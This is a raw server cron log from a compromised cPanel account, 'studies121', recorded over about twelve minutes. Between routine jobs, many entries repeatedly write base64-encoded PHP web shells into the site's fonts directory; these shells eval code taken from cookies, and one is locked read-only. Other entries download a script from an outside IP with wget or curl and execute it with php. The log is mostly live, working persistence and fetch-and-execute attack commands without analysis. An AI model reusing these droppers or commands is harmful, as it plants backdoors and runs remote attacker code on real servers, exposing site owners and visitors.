Sep 10 07:22:01 ip-184-168-122-23 CROND[26090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:22:01 ip-184-168-122-23 CROND[26093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:22:01 ip-184-168-122-23 CROND[26092]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:23:01 ip-184-168-122-23 CROND[26196]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:23:01 ip-184-168-122-23 CROND[26199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:23:01 ip-184-168-122-23 CROND[26200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:23:01 ip-184-168-122-23 CROND[26198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:24:01 ip-184-168-122-23 CROND[26325]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:24:01 ip-184-168-122-23 CROND[26327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:24:01 ip-184-168-122-23 CROND[26328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:24:01 ip-184-168-122-23 CROND[26329]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:24:01 ip-184-168-122-23 CROND[26330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:25:01 ip-184-168-122-23 CROND[26555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:25:01 ip-184-168-122-23 CROND[26558]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 07:25:01 ip-184-168-122-23 CROND[26557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:25:01 ip-184-168-122-23 CROND[26559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:25:01 ip-184-168-122-23 CROND[26560]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 07:25:01 ip-184-168-122-23 CROND[26563]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:26:01 ip-184-168-122-23 CROND[26681]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:26:01 ip-184-168-122-23 CROND[26683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:26:01 ip-184-168-122-23 CROND[26684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:26:01 ip-184-168-122-23 CROND[26685]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:26:01 ip-184-168-122-23 CROND[26686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:27:01 ip-184-168-122-23 CROND[26789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:27:01 ip-184-168-122-23 CROND[26790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:27:01 ip-184-168-122-23 CROND[26793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:27:01 ip-184-168-122-23 CROND[26792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:28:02 ip-184-168-122-23 CROND[26886]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:28:02 ip-184-168-122-23 CROND[26888]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:28:02 ip-184-168-122-23 CROND[26887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:28:02 ip-184-168-122-23 CROND[26889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:28:02 ip-184-168-122-23 CROND[26891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:29:01 ip-184-168-122-23 CROND[27032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:29:01 ip-184-168-122-23 CROND[27033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:29:01 ip-184-168-122-23 CROND[27035]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:29:01 ip-184-168-122-23 CROND[27034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:30:01 ip-184-168-122-23 CROND[27231]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 07:30:01 ip-184-168-122-23 CROND[27233]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 07:30:01 ip-184-168-122-23 CROND[27234]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 07:30:01 ip-184-168-122-23 CROND[27239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:30:01 ip-184-168-122-23 CROND[27237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:30:01 ip-184-168-122-23 CROND[27238]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:30:01 ip-184-168-122-23 CROND[27240]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:30:01 ip-184-168-122-23 CROND[27242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:31:01 ip-184-168-122-23 CROND[27366]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:31:01 ip-184-168-122-23 CROND[27368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:31:01 ip-184-168-122-23 CROND[27369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:31:01 ip-184-168-122-23 CROND[27370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:31:01 ip-184-168-122-23 CROND[27371]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 07:32:01 ip-184-168-122-23 CROND[27476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:32:01 ip-184-168-122-23 CROND[27478]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:32:01 ip-184-168-122-23 CROND[27477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:32:01 ip-184-168-122-23 CROND[27482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:32:01 ip-184-168-122-23 CROND[27484]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:33:01 ip-184-168-122-23 CROND[27578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:33:01 ip-184-168-122-23 CROND[27579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:33:01 ip-184-168-122-23 CROND[27580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:33:01 ip-184-168-122-23 CROND[27581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:34:01 ip-184-168-122-23 CROND[27678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:34:01 ip-184-168-122-23 CROND[27680]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:34:01 ip-184-168-122-23 CROND[27682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
